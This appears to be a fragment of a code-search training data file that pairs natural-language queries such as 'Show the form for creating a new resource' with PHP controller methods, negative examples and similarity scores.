AuthorResource::collection($authors);\n }", "public function index()\n {\n //Get Books\n $books = Book::paginate(10);\n \n if ($books) {\n return (BookResource::collection($books))->additional([\n 'status_code' => 200,\n 'status' => 'success',\n ]);\n } else {\n return (BookResource::collection([]))->additional([\n 'status_code' => 200,\n 'status' => 'success',\n ]);\n }\n return view('index')->with('data', $books);\n }", "public function view(){\n\t\t$this->buildListing();\n\t}", "public function index()\n {\n $books = Book::latest()\n ->paginate(20);\n\n return BookResource::collection($books);\n }", "public function index()\n {\n $listing = Listing::orderBy('id', 'desc')->paginate(10);\n return view('listings.index')->withListings($listing);\n }", "public function listAction()\n {\n $this->_getSession()->setFormData([]);\n\n $this->_title($this->__('Training Cms'))\n ->_title($this->__('Pages'));\n\n $this->loadLayout();\n\n $this->_setActiveMenu('training_cms');\n $this->_addBreadcrumb($this->__('Training Cms'), $this->__('Training Cms'));\n $this->_addBreadcrumb($this->__('Pages'), $this->__('Pages'));\n\n $this->renderLayout();\n }", "public function index()\n {\n $services = $this->serviceRepository->paginate();\n\n return ServiceResource::collection($services);\n }", "public function index()\n {\n $resources = ResourceManagement::paginate(5);\n $users = User::get();\n\n return view('resources-mgmt/index', ['resources' => $resources, 'users' => $users]);\n }", "public function index()\n {\n $catalogs = Catalog::where('status', '=', Catalog::PUBLICADO)\n ->orderBy('id', 'DESC')->get();\n \n $data = CatalogResource::collection($catalogs);\n\n return [\n 'items' => $data,\n 'mensaje' => ''\n ];\n }", "public function listAction(){\n // In a controller this can be:\n // $this->request->getQuery('page', 'int'); // GET\n $currentPage = $this->request->getPost('pageindex', 'int'); // POST\n $pageNum = ($currentPage == null) ? 1 : $currentPage;\n\n // The data set to paginate\n $message = new Notice();\n $results = $message->getMsg4Admin();\n\n // Create a Model paginator, show 10 rows by page starting from $currentPage\n $paginator = new PaginatorArray(\n array(\n \"data\" => $results,\n \"limit\" => 10,\n \"page\" => $pageNum\n )\n );\n\n // Get the paginated results\n $page = $paginator->getPaginate();\n\n return $this->response->setJsonContent($page);\n\n }", "public function list()\n {\n try {\n return $this->success($this->service->list());\n } catch (\\Exception $exception) {\n return $this->error($exception->getMessage());\n }\n }", "public function index()\n {\n return $this->sendResponse(CrisisResource::collection(Crisis::paginate(10)), 'Data fetched successfully');\n }", "public function index()\n\t{\n\t\t$%Alias = new %Model();\n\t\t$params = array();\n\t\t\n\t\t$Paginator = new Paginator( $%Alias->findSize( $params ), $this->getLimit(), $this->getPage() );\n\t\t$this->getView()->set( '%Aliass', $%Alias->findList( $params, 'Id desc', $this->getOffset(), $this->getLimit() ) );\n\t\t$this->getView()->set( 'Paginator', $Paginator );\n\t\treturn $this->getView()->render();\n\t}", "public function listAction() {}", "public function index()\n {\n\n return RecipeResource::collection(Recipe::all());\n }", "public function index()\n {\n $this->indexPage('list-product', 'List Product');\n }", "public function listAction()\n {\t\n\t\t$this->removeSession();\n\t\t$this->verifySessionRights();\n\t\t$this->setActivity(\"List view\");\n $em = $this->getDoctrine()->getManager();\n $oRepClient = $em->getRepository('BoAdminBundle:Client');\n\t\t$nb_tc = $oRepClient->getTotal();\n\t\t//get page\n\t\t$page = $this->get('session')->get('page');\n\t\tif($page==null){\n\t\t\t$page=1;\n\t\t\t$this->get('session')->set('page',1);\n\t\t}\n\t\t//get number line per page\n\t\t$nb_cpp = $em->getRepository('BoAdminBundle:Param')->getParam(\"display_list_page_number\",1);\n\t\t$nb_pages = ceil($nb_tc/$nb_cpp);\n\t\t$offset = $page>0?($page-1) * $nb_cpp:0;\n\t\t$clients = $em->getRepository('BoAdminBundle:Client')->findBy(array(),array('id' => 'desc'),$nb_cpp,$offset);\n $form = $this->createForm('Bo\\AdminBundle\\Form\\ClientType', new Client());\n return $this->render('client/index.html.twig', array(\n 'clients' => $clients,\n\t\t\t'page' => $page, // forward current page to view,\n\t\t\t'nb_pages' => $nb_pages, //total number page,\n 'form' => $form->createView(),\n\t\t\t'total'=>$nb_tc, // record number.\n\t\t\t'nb_cpp' => $nb_cpp,// line's number to display\n\t\t\t'pm'=>\"contracts\",\n\t\t\t'sm'=>\"client\",\n ));\n }", "public function index()\n {\n return AcResource::collection(Ac::latest()->paginate()); //\n }", "public function executeList()\n {\n $this->setTemplate('list');\n }", "public function indexAction()\n {\n $books = Book::getAll();\n\n View::renderTemplate('Books/index.html', [\n 'books' => $books\n ]);\n }", "function listing() {\r\n\r\n }", "public function listar() {\n $rs = $this->model->listar();\n\n echo $this->toJson($rs);\n }", "public function index()\n {\n return BookResource::collection(Book::orderby('id')->get());\n }", "public function doRestList()\n {\n $this->outputHelper( \n 'Records Retrieved Successfully', \n $this->getModel()->with($this->nestedRelations)->filter($this->restFilter)->orderBy($this->restSort)->limit($this->restLimit)->offset($this->restOffset)->findAll(),\n $this->getModel()->with($this->nestedRelations)->filter($this->restFilter)->count()\n );\n\t}", "public function index()\n {\n $client = Client::paginate();\n return ClientResource::collection($client);\n }", "public function index()\n {\n return TagResource::collection(\n Tag::orderBy('name', 'ASC')->paginate(request('per_page', 10))\n );\n }", "public function _index(){\n\t $this->_list();\n\t}", "public function index()\n\t{\n\t\t$data['lists'] = $this->gallery_mdl->get_all();\n\t\t$this->template->set('title', 'Gallery');\n\t\t$this->template->render('template', 'list', $data);\n\t}", "function drush_restapi_list() {\n\n $resources = restapi_get_resources();\n $last_module = NULL;\n $rows = [\n [dt('Module'), dt('Path'), dt('Class')],\n ];\n\n foreach($resources as $resource) {\n if ($last_module != $resource->getModule()) {\n $module = $last_module = $resource->getModule();\n }\n else {\n $module = '';\n }\n $rows[] = [$module, $resource->getPath(), $resource->getClass()];\n }\n\n drush_print_table($rows, TRUE);\n drush_log(dt('Displaying !count total resources', [\n '!count' => count($resources),\n ]), 'ok');\n\n}", "public function index()\n {\n $this->booklist();\n }", "public function index()\n {\n //\n $accounts = accounts::paginate(15);\n\n //return the collection of employees as a resource\n return accountResource::collection($accounts);\n\n\n }", "public function index()\n {\n $items = Item::all();\n return view('items::list_items',compact('items'));\n }", "public function index()\n {\n // Get houses\n $houses = House::orderBy('created_at', 'desc')->paginate(self::PAGINATE);\n \n // Return collection of houses\n \n return HouseResource::collection($houses);\n }", "public function index()\n {\n $products = Product::paginate(6);\n return ProductResource::collection($products);\n }", "public function index() {\n $this->template->allFoundItems = Found::showAll();\n $this->template->display( 'index.html.php' );\n }", "public function indexAction() {\n $this->_forward('list');\n }", "public function index()\n {\n $data = Productcategory::paginate(10);\n\t\treturn ProductcategoryResource::Collection($data);\n }", "public function index()\n {\n return SongResource::collection(\\App\\Song::orderBy('created_at', 'desc')->get());\n }", "public function ListView()\n\t{\n\t\t\n\t\t// Requer permissão de acesso\n\t\t$this->RequirePermission(Usuario::$P_ADMIN,\n\t\t\t\t'SecureExample.LoginForm',\n\t\t\t\t'Autentique-se para acessar esta página',\n\t\t\t\t'Você não possui permissão para acessar essa página ou sua sessão expirou');\n\t\t\n\t\t//$usuario = Controller::GetCurrentUser();\n\t\t//$this->Assign('usuario',$usuario);\n\t\t$this->Render();\n\t}", "public function index () {\n permiss ( 'role.list' );\n\n $data = $this->entity\n ->orderBy('created_at', 'desc')->get();\n\n return new ModelResource($data);\n }", "public function showResources()\n {\n $resources = Resource::get();\n return view('resources', compact('resources'));\n }", "public function index()\n {\n //get articless\n $articles = Article::paginate(15);\n\n //Return collection of article has a resource\n return ArticleResource::collection($articles);\n\n }", "public function actionList() {\n header(\"Content-type: application/json\");\n $verb = $_SERVER[\"REQUEST_METHOD\"];\n\n if ($verb === 'GET') {\n echo \"{\\\"data\\\":\" . CJSON::encode(Donneur::model()->findAll()) . \"}\";\n } else if ($verb == 'POST') {\n if (Donneur::model()->exists('id' === $_POST['id'])) {\n $this->actionListUpdate($_POST);\n } else {\n $this->actionListPost();\n }\n } else if ($verb == 'DELETE') {\n $this->actionListDelete();\n }\n }", "public function list()\n {\n return $this->http->request(HttpMethods::GET, $this->endpoint);\n }", "public function indexAction(){\n $data = array(\n 'collection' => $this->model->getCollection(),\n \n ); \t\n return $this->getView($data);\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('DiverPriceLisrBundle:Items')->findAll();\n\n return $this->render('DiverPriceLisrBundle:Items:index.html.twig', array(\n 'entities' => $entities,\n ));\n }", "public function actionIndex()\n {\n $dataProvider = new ActiveDataProvider([\n 'query' => Slaves::find(),\n ]);\n\n return $this->render('index', [\n 'dataProvider' => $dataProvider,\n ]);\n }", "public function listAction() {\n\t\t// Recogemos el repositorio\n\t\t$repository = $this->getDoctrine() ->getRepository('AppBundle:Product');\n\t\n\t\t// Recuperamos todos los productos.\n\t\t$products = $repository->findAll();\n\t\t// Pasamos a la plantilla el aray products\n\t\treturn $this->render('product/listActionProduct.html.twig', array( 'products' => $products));\n\t\n\t}", "public function listAction()\n\t {\n\t\t$model = $this->_getModel();\n\t\t$result = $model->getLayouts();\t\n\t\t$page = (int)($this->_request->getParam('page')); \n\t\tif(count($result) > 0)\n\t\t{ \n\t\t\tGlobals::doPaging($result, $page, $this->view);\n\t\t}\n\t\t\t\t\n\t\t$this->view->page = $page;\n\t }", "public function actionList()\n {\n // get model\n $model = new $this->_model('search');\n $model->unsetAttributes();\n\n // set filter\n if (isset($_GET[$this->_model])) {\n $model->attributes = $_GET[$this->_model];\n }\n $model->u_cms_album_id = $_GET['album'];\n\n // search\n $dataProvider = $model->search(Yii::app()->language);\n // sort\n $sort = $dataProvider->getSort();\n // route\n $sort->route = $this->id . '/list';\n\n // pagination parameters\n $pagination = $dataProvider->getPagination();\n $pagination->route = $this->id . '/list';\n $pagination->pageSize = UInterfaceSetting::model()->getSettings($this->id . ':' . $this->module->id, Yii::app()->user->id)->page_size;\n $pagination->itemCount = $dataProvider->totalItemCount;\n\n // datas\n $datas = $dataProvider->getData();\n\n // related datas\n $relatedDatas = $this->_loadRelatedData();\n\n // template\n $template = isset($_REQUEST['partial']) ? 'list/_table' : 'list/main';\n\n $jsonParams = array();\n if (Yii::app()->request->isAjaxRequest) {\n // filters\n $filtersDatas = array();\n if (isset($_GET[$this->_model])) {\n $filtersDatas[$this->_model] = $_GET[$this->_model];\n }\n if (isset($_GET[$sort->sortVar])) {\n $filtersDatas[$sort->sortVar] = $_GET[$sort->sortVar];\n }\n\n $jsonParams = array(\n 'filters' => http_build_query($filtersDatas)\n );\n }\n\n $this->dynamicRender(\n $template,\n array(\n 'dataView' => new $this->crudComponents['listDataView'](\n $datas, $relatedDatas, $model, $sort, $pagination, $this\n )\n ),\n $jsonParams\n );\n }", "public function index()\n {\n return view('listings.index')->with('listings', Listing::all());\n }", "public function get_index()\n\t{\n\t\t$pages = Page::recent_available()->paginate(30);\n\t\t$table = Cello\\Presenter\\Page::table($pages);\n\t\t$data = array(\n\t\t\t'eloquent' => $pages,\n\t\t\t'table' => $table,\n\t\t);\n\n\t\tSite::set('title', __('cello::title.pages.list'));\n\n\t\treturn View::make('cello::api.resources.index', $data);\n\t}", "public function index()\n {\n return ProductResource::collection(Product::latest()->paginate(10));\n }", "public function index()\n {\n $category = GalleryCategory::paginate(15);\n\n // return collection of category as a resource.\n return Resource::collection($category);\n }", "public function index()\n {\n //\n $news = News::latest()->paginate(18);\n\n return NewsResource::collection($news);\n }", "public function indexAction() {\n\t\t$list_info = Zend_Registry::get('list_info');\n if (!Engine_Api::_()->core()->hasSubject('list_listing')) {\n return $this->setNoRender();\n }\n \n $this->view->expiry_setting = Engine_Api::_()->list()->expirySettings();\n\n //GET SUBJECT\n $this->view->list = $list = Engine_Api::_()->core()->getSubject('list_listing');\n\n\t\t//GET CATEGORY TABLE\n\t\t$this->view->tableCategory = Engine_Api::_()->getDbTable('categories', 'list');\n\n //GET CATEGORIES NAME\n\t\t$this->view->category_name = $this->view->subcategory_name = $this->view->subsubcategory_name = '';\n\n\t\tif(!empty($list->category_id)) {\n\t\t\tif($this->view->tableCategory->getCategory($list->category_id))\n\t\t\t$this->view->category_name = $this->view->tableCategory->getCategory($list->category_id)->category_name;\n\n\t\t\tif(!empty($list->subcategory_id)) {\n\t\t\t\tif($this->view->tableCategory->getCategory($list->subcategory_id))\n\t\t\t\t$this->view->subcategory_name = $this->view->tableCategory->getCategory($list->subcategory_id)->category_name;\n\n\t\t\t\tif(!empty($list->subsubcategory_id)) {\n\t\t\t\t\tif($this->view->tableCategory->getCategory($list->subsubcategory_id))\n\t\t\t\t\t$this->view->subsubcategory_name = $this->view->tableCategory->getCategory($list->subsubcategory_id)->category_name;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n //GET LISTING TAGS\n $this->view->listTags = $list->tags()->getTagMaps();\n\n\t\t//GET OTHER DETAILS\n\t\t$this->view->list_description = Zend_Registry::get('list_descriptions');\n $this->view->addHelperPath(APPLICATION_PATH . '/application/modules/Fields/View/Helper', 'Fields_View_Helper');\n $this->view->fieldStructure = Engine_Api::_()->fields()->getFieldsStructurePartial($list);\n\t\tif(empty($list_info)){ return $this->setNoRender(); }\n }", "public function index()\n {\n return $this->service->fetchResources(Author::class, 'authors');\n }", "public function index()\n {\n return view('admin.resources.index');\n }", "public function doRestList() {\n\t\t$this->outputHelper ( 'Collections Retrieved Successfully', $this->getModel ()->with ( $this->nestedRelations )->filter ( $this->restFilter )->orderBy ( $this->restSort )->limit ( $this->restLimit )->offset ( $this->restOffset )->findAll (), $this->getModel ()->with ( $this->nestedRelations )->filter ( $this->restFilter )->count () );\n\t}" ]
[ "0.7446777", "0.736227", "0.73005503", "0.72478926", "0.71631265", "0.71489686", "0.7131636", "0.7105969", "0.71029514", "0.7101372", "0.70508176", "0.6995128", "0.69890636", "0.6934895", "0.6900203", "0.6899281", "0.6891734", "0.6887235", "0.68670005", "0.6849741", "0.6830523", "0.6802689", "0.6797", "0.67957735", "0.67871135", "0.6760129", "0.67427456", "0.6730486", "0.67272323", "0.67255723", "0.67255723", "0.67255723", "0.67177945", "0.6707866", "0.6706713", "0.6704375", "0.6664782", "0.6662871", "0.6660302", "0.6659404", "0.6656656", "0.6653517", "0.6647965", "0.6620322", "0.66185474", "0.6618499", "0.6606105", "0.6600617", "0.65996987", "0.6594775", "0.6587389", "0.6585109", "0.6581641", "0.6581017", "0.6577157", "0.65747666", "0.6572513", "0.65721947", "0.6570553", "0.65646994", "0.6563556", "0.6554194", "0.65529937", "0.65460825", "0.65368485", "0.653429", "0.65328294", "0.6526759", "0.6526695", "0.6526284", "0.65191334", "0.65183175", "0.65174305", "0.651703", "0.65141153", "0.6507088", "0.65061647", "0.6504046", "0.64942145", "0.6491893", "0.64883405", "0.6486392", "0.6485077", "0.64846045", "0.6478858", "0.64756656", "0.64726377", "0.6471126", "0.64701074", "0.6467418", "0.6462195", "0.64618355", "0.6459199", "0.6457831", "0.6454631", "0.64533997", "0.6451915", "0.6450861", "0.6449301", "0.64492667", "0.64469045" ]
0.0
-1
Show the form for creating a new resource.
public function create() { // }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function create()\n {\n return $this->showForm('create');\n }", "public function create()\n {\n return $this->showForm('create');\n }", "public function create()\n {\n return view('admin.resources.create');\n }", "public function create(){\n\n return view('resource.create');\n }", "public function create()\n\t{\n\t\treturn $this->showForm('create');\n\t}", "public function create()\n {\n return \"Display a form for creating a new catalogue\";\n }", "public function newAction()\n {\n $entity = new Resource();\n $current = $this->get('security.context')->getToken()->getUser();\n $entity->setMember($current);\n $form = $this->createCreateForm($entity);\n\n return array(\n 'nav_active'=>'admin_resource',\n 'entity' => $entity,\n 'form' => $form->createView(),\n );\n }", "public function create()\n {\n return view ('forms.create');\n }", "public function create ()\n {\n return view('forms.create');\n }", "public function create()\n\t{\n\t\treturn view('faith.form');\n\t}", "public function create(NebulaResource $resource): View\n {\n $this->authorize('create', $resource->model());\n\n return view('nebula::resources.create', [\n 'resource' => $resource,\n ]);\n }", "public function create()\n {\n return view(\"request_form.form\");\n }", "public function create()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.create\")) {\n $view = \"admin.{$this->name}.create\";\n } else {\n $view = 'admin.includes.actions.create';\n }\n\n /* Show the form for creating a new resource. */\n return view($view)\n ->with('name', $this->name);\n }", "public function newAction()\n\t{\n\t\t$this->render( View::make( 'schools/form' , array(\n\t\t\t'title' => 'Ajouter une nouvelle &eacute;cole'\n\t\t) ) );\n\t}", "public function create()\n {\n return view($this->forms . '.create');\n }", "public function create()\n {\n return view('restful.add');\n }", "public function create()\n {\n $resource = (new AclResource())->AclResource;\n\n //dd($resource);\n return view('Admin.acl.role.form', [\n 'resource' => $resource\n ]);\n }", "public function create()\n {\n return view('admin.createform');\n }", "public function create()\n {\n return view('admin.forms.create');\n }", "public function create()\n {\n return view('backend.student.form');\n }", "public function newAction()\n {\n $breadcrumbs = $this->get(\"white_october_breadcrumbs\");\n $breadcrumbs->addItem('Inicio', $this->get('router')->generate('admin.homepage'));\n $breadcrumbs->addItem($this->entityDescription, $this->get(\"router\")->generate(\"admin.$this->entityName.index\"));\n $breadcrumbs->addItem('Nuevo');\n\n $entity = $this->getManager()->create();\n $form = $this->getForm($entity);\n\n return $this->render('AdminBundle:Default:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'metadata' => $this->getMetadata()\n ));\n }", "public function create()\n {\n return view('client.form');\n }", "public function create()\n {\n // Nos regresa la vista del formulario\n return view('project.form');\n }", "public function create()\n {\n return view('Form');\n }", "public function newAction(){\n \n $entity = new Resourceperson();\n $form = $this->createAddForm($entity);\n\n \n return $this->render('ABCRspBundle:rsp:add.html.twig',array('entity'=>$entity,'form'=> $form->createView()));\n }", "public function createForm()\n\t{\n\t\treturn view('post.new');\n\t}", "public function create()\n {\n return view('admin.form.create', ['form' => new Form]);\n }", "public function create()\n {\n return view('form');\n }", "public function create()\n {\n return view('form');\n }", "public function create()\n {\n return view('form');\n }", "public function create()\n {\n $title = $this->title;\n $subtitle = \"Adicionar cliente\";\n\n return view('admin.clients.form', compact('title', 'subtitle'));\n }", "public function create()\n {\n return view('backend.schoolboard.addform');\n }", "public function create()\n\t{\n\t\treturn view('info.forms.createInfo');\n\t}", "public function create()\n {\n //\n return view('form');\n }", "public function create()\n {\n return view('rests.create');\n }", "public function create()\n {\n return $this->showForm();\n }", "public function create()\n {\n return $this->showForm();\n }", "public function create()\n {\n return view(\"Add\");\n }", "public function create(){\n return view('form.create');\n }", "public function create()\n {\n // Show the page\n return view('admin.producer.create_edit');\n }", "public function create()\n {\n\n return view('control panel.student.add');\n\n }", "public function newAction() {\n\t\t\n\t\t$this->view->form = $this->getForm ( \"/admin/invoices/process\" );\n\t\t$this->view->title = $this->translator->translate(\"New Invoice\");\n\t\t$this->view->description = $this->translator->translate(\"Create a new invoice using this form.\");\n\t\t$this->view->buttons = array(array(\"url\" => \"#\", \"label\" => $this->translator->translate('Save'), \"params\" => array('css' => null,'id' => 'submit')),\r\n\t\t\t\t\t\t\t array(\"url\" => \"/admin/invoices/list\", \"label\" => $this->translator->translate('List'), \"params\" => array('css' => null)));\n\t\t$this->render ( 'applicantform' );\n\t}", "public function create()\n {\n $data['action'] = 'pengiriman.store';\n return view('pengiriman.form', $data);\n }", "public function create()\n {\n return $this->cView(\"form\");\n }", "public function newAction()\n {\n // Création de l'entité et du formulaire.\n $client = new Client();\n $formulaire = $this->createForm(new ClientType(), $client);\n \n \n \n // Génération de la vue.\n return $this->render('KemistraMainBundle:Client:new.html.twig',\n array('formulaire' => $formulaire->createView()));\n }", "public function create()\n {\n return view(\"dresses.form\");\n }", "public function create()\n\t{\n\t\treturn View::make('new_entry');\n\t}", "public function createAction()\n {\n// $this->view->form = $form;\n }", "public function create()\n {\n return view('bank_account.form', ['mode' => 'create']);\n }", "public function create()\n {\n return view('fish.form');\n }", "public function create()\n {\n return view('users.forms.create');\n }", "public function create()\n {\n $this->setFormFields($this->getCreateFormFields());\n $form = $this->getCreateForm();\n\n return view($this->getViewName('create'), [\n 'crudSlug' => $this->slug,\n 'form' => $form,\n ]);\n }", "public function create()\n\t{\n\t\treturn view('admin.estadoflete.new');\n\t}", "public function create()\n {\n $person = new Person;\n return view('contents.personform')->with(compact('person') );\n }", "public function createAction(){\n \t$this->view->placeholder('title')->set('Create');\n \t$this->_forward('form');\n }", "public function create()\n {\n Gate::authorize('app.products.create');\n\n return view('backend.products.form');\n }", "public function create()\n {\n return view('essentials::create');\n }", "public function create()\n {\n return view('student.add');\n }", "public function create()\n\t{\n\t\treturn view('loisier/create');\n\t}", "public function create()\n {\n return view('url.form');\n }", "public function newAction()\n {\n $entity = new Facture();\n $factureType = new FactureType();\n\t\t$factureType->setUser($this->get('security.context')->getToken()->getUser());\n $form = $this->createForm($factureType, $entity);\n\n return $this->render('chevPensionBundle:Facture:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function newAction()\n {\n $entity = new Chofer();\n $form = $this->createForm(new ChoferType(), $entity, ['user' => $this->getUser()]);\n\n return $this->render('ChoferesBundle:Chofer:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'css_active' => 'chofer',\n ));\n }", "public function create()\n\t{\n\t\treturn View::make('crebos.create');\n\t}", "public function create() : View\n {\n $fieldset = $this->menuFieldset();\n\n return $this->view('create', [\n 'title' => trans('addons.Aardwolf::titles.create'),\n 'data' => [],\n 'fieldset' => $fieldset->toPublishArray(),\n 'suggestions' => [],\n 'submitUrl' => route('aardwolf.postCreate')\n ]);\n }", "public function create()\n {\n return view('libro.create');\n }", "public function create()\n {\n return view('libro.create');\n }", "public function newAction()\n {\n $entity = new Species();\n $form = $this->createForm(new SpeciesType(), $entity);\n\n return $this->render('InfectBackendBundle:Species:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function create()\n {\n return view('crud/add'); }", "public function create()\n\t{\n\t\treturn View::make('supplier.create');\n\t}", "public function newAction()\n {\n $entity = new Company();\n $form = $this->createForm(new CompanyType(), $entity);\n\n return $this->render('SiteSavalizeBundle:Company:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function create()\n {\n return view(\"List.form\");\n }", "public function index_onCreateForm()\n\t{\n\t\tparent::create();\n\t\treturn $this->makePartial('create');\n\t}", "public function create()\n {\n //load create form\n return view('products.create');\n }", "public function create()\n {\n return view('article.addform');\n }", "public function create()\n {\n // Mengarahkan ke halaman form\n return view('buku.form');\n }", "public function create()\n\t{\n\t\t// load the create form (app/views/material/create.blade.php)\n\t\t$this->layout->content = View::make('material.create');\n\t}", "public function create()\n {\n return view('saldo.form');\n }", "public function create()\n\t\t{\n\t\t\treturn view('kuesioner.create');\n\t\t}", "public function view_create_questioner_form() {\n \t// show all questioner\n \t// send questioner to form\n \treturn view(\"create_questioner\");\n }", "public function newAction() {\n $entity = new Question();\n $form = $this->createCreateForm($entity);\n\n return $this->render('CdlrcodeBundle:Question:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function create()\n {\n $data['companies'] = Company::select('id', 'name')->where('status', 1)->orderBy('id', 'desc')->get();\n return view('admin.outlet.outlet_form', $data);\n }", "public function create()\n {\n return view('admin.inverty.add');\n }", "public function create()\n {\n return view('Libro.create');\n }", "public function create()\n {\n $title = trans('entry_mode.new');\n return view('layouts.create', compact('title'));\n }", "public function create()\n {\n $breadcrumb='car.create';\n return view('admin.partials.cars.form', compact('breadcrumb'));\n }", "public function create()\n {\n return view(\"familiasPrograma.create\");\n }", "public function create()\n {\n return view('admin.car.create');\n }", "public function create()\n {\n return view('admin.car.create');\n }", "public function create()\n\t{\n\t\treturn View::make('perusahaans.create');\n\t}", "public function create()\n {\n return view(\"create\");\n }", "public function create()\n\t{\n //echo 'show form';\n\t\treturn View::make('gaans.create');\n\t}", "public function create()\n {\n $title = trans('dormitorybed.new');\n $this->generateParams();\n\n return view('layouts.create', compact('title'));\n }", "public function create()\n {\n return view('forming');\n }", "public function formNew() {\n $this->data->options = array(\n 'RJ' => 'Rio de Janeiro',\n 'MG' => 'Minas Gerais',\n 'SP' => 'São Paulo',\n 'ES' => 'Espírito Santo',\n 'BA' => 'Bahia',\n 'RS' => 'Rio Grande do Sul'\n );\n $this->data->action = \"@exemplos/pessoa/save\";\n $this->render();\n }", "public function create()\n {\n \t\n \treturn view('supplies.create');\n\n }", "public function createAction()\n {\n if ($form = $this->processForm()) {\n $this->setPageTitle(sprintf($this->_('New %s...'), $this->getTopic()));\n $this->html[] = $form;\n }\n }", "public function create()\n {\n $page_title = \"Add New\";\n return view($this->path.'create', compact('page_title'));\n }", "public function create()\n {\n // not sure what to do with the form since im\n // using ame partial for both create and edit\n return view('plants.create')->with('plant', new Plant);\n }", "public function create() {\n\t\t$title = 'Create | Show';\n\n\t\treturn view('admin.show.create', compact('title'));\n\t}", "public function create()\n {\n return view('student::students.student.create');\n }", "public function newAction(){\n\t\t$entity = new Reserva();\n\t\t$form = $this->createCreateForm($entity);\n\n\t\treturn $this->render('LIHotelBundle:Reserva:new.html.twig', array(\n\t\t\t'entity' => $entity,\n\t\t\t'form' => $form->createView(),\n\t\t));\n\t}" ]
[ "0.75948673", "0.75948673", "0.75863165", "0.7577412", "0.75727344", "0.7500887", "0.7434847", "0.7433956", "0.73892003", "0.73531085", "0.73364776", "0.73125", "0.7296102", "0.7281891", "0.72741455", "0.72424185", "0.7229325", "0.7226713", "0.7187349", "0.7179176", "0.7174283", "0.7150356", "0.71444064", "0.71442676", "0.713498", "0.71283126", "0.7123691", "0.71158516", "0.71158516", "0.71158516", "0.7112176", "0.7094388", "0.7085711", "0.708025", "0.70800644", "0.70571953", "0.70571953", "0.70556754", "0.70396435", "0.7039549", "0.7036275", "0.703468", "0.70305896", "0.7027638", "0.70265305", "0.70199823", "0.7018007", "0.7004984", "0.7003889", "0.7000935", "0.69973785", "0.6994679", "0.6993764", "0.6989918", "0.6986989", "0.6966502", "0.69656384", "0.69564354", "0.69518244", "0.6951109", "0.6947306", "0.69444615", "0.69423944", "0.6941156", "0.6937871", "0.6937871", "0.6936686", "0.69345254", "0.69318026", "0.692827", "0.69263744", "0.69242257", "0.6918349", "0.6915889", "0.6912884", "0.691146", "0.69103104", "0.69085974", "0.69040126", "0.69014287", "0.69012105", "0.6900397", "0.68951064", "0.6893521", "0.68932164", "0.6891899", "0.6891616", "0.6891616", "0.6889246", "0.68880934", "0.6887128", "0.6884732", "0.68822503", "0.68809193", "0.6875949", "0.68739206", "0.68739134", "0.6870358", "0.6869779", "0.68696856", "0.686877" ]
0.0
-1
Store a newly created resource in storage.
public function store(CreateGuiderRequest $request) { $guider = [ 'guid_id' => $request->guid_id, 'guid_name' => $request->guid_name, 'guid_phone' => $request->guid_phone, 'guid_resident_number' => $request->guid_resident_number, 'manager_guid_id' => $request->manager_guid_id ? $request->manager_guid_id : 0, 'guid_level' => $request->guid_level, 'city_id' => $request->city, 'guid_status' => 1, ]; DB::beginTransaction(); try { $guider = $this->companyRepository->createGuider($guider); DB::commit(); return response()->json([ 'success' => true, 'data' => $guider, 'message' => 'Create guide successfully', ]); } catch (Exception $e) { DB::rollback(); return response()->json([ 'success' => false, 'message' => $e->getMessage(), ]); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function store($data, Resource $resource);", "public function store()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n if (method_exists($this, 'storeValidations')) {\n $this->request->validate($this->storeValidations());\n }\n\n /* Create a new resource */\n $resource = $this->model::create(Input::all());\n\n /* Redirect to newly created resource page */\n return redirect()\n ->route($this->name . '.edit', $resource->id)\n ->with(\n 'success',\n Lang::has($this->name . '.resource-created') ?\n $this->name . '.resource-created' :\n 'messages.alert.resource-created'\n );\n }", "public function store(CreateStorageRequest $request)\n {\n $this->storage->create($request->all());\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource created', ['name' => trans('product::storages.title.storages')]));\n }", "public function createStorage();", "public function store(StoreStorage $request)\n {\n $storage = Storage::create($request->all());\n $request->session()->flash('alert-success', 'Запись успешно добавлена!');\n return redirect()->route('storage.index');\n }", "public function saveShopifyResource() {\n if (is_null($this->getShopifyId())) { // if there is no id...\n $this->createShopifyResource(); // create a new resource\n } else { // if there is an id...\n $this->updateShopifyResource(); // update the resource\n }\n }", "public function store(Request $request, NebulaResource $resource): RedirectResponse\n {\n $this->authorize('create', $resource->model());\n\n $validated = $request->validate($resource->rules(\n $resource->createFields()\n ));\n\n $resource->storeQuery($resource->model(), $validated);\n\n $this->toast(__(':Resource created', [\n 'resource' => $resource->singularName(),\n ]));\n\n return redirect()->back();\n }", "function storeAndNew() {\n $this->store();\n }", "public function store(Request $request)\n {\n $currentUser = JWTAuth::parseToken()->authenticate();\n $validator = Validator::make($request->all(), [\n 'content' => 'required|string',\n 'image_link' => 'sometimes|url',\n ]);\n\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), [], 400);\n }\n\n $resource = new Resource;\n $resource->user_id = $currentUser['id'];\n $resource->title = $request->get('title');\n $resource->content = $request->get('content');\n $resource->image_link = $request->get('imageLink');\n $resource->video_link = $request->get('videoLink');\n $resource->file_link = $request->get('fileLink');\n $resource->audio_link = $request->get('audioLink');\n $resource->tags = collect($request->get('tags'))->implode('text', ',');\n $resource->is_public = 0;\n $resource->save();\n $data['resource'] = $resource;\n\n if ($request->get('programId')) {\n $this->addToProgram($resource, $request->programId);\n // event(new NewLearningPathResourcePublished($resource, $invitee));\n }\n\n User::find($currentUser['id'])->increment('points', 2);\n\n return APIHandler::response(1, \"New resource has been created\", $data, 201);\n 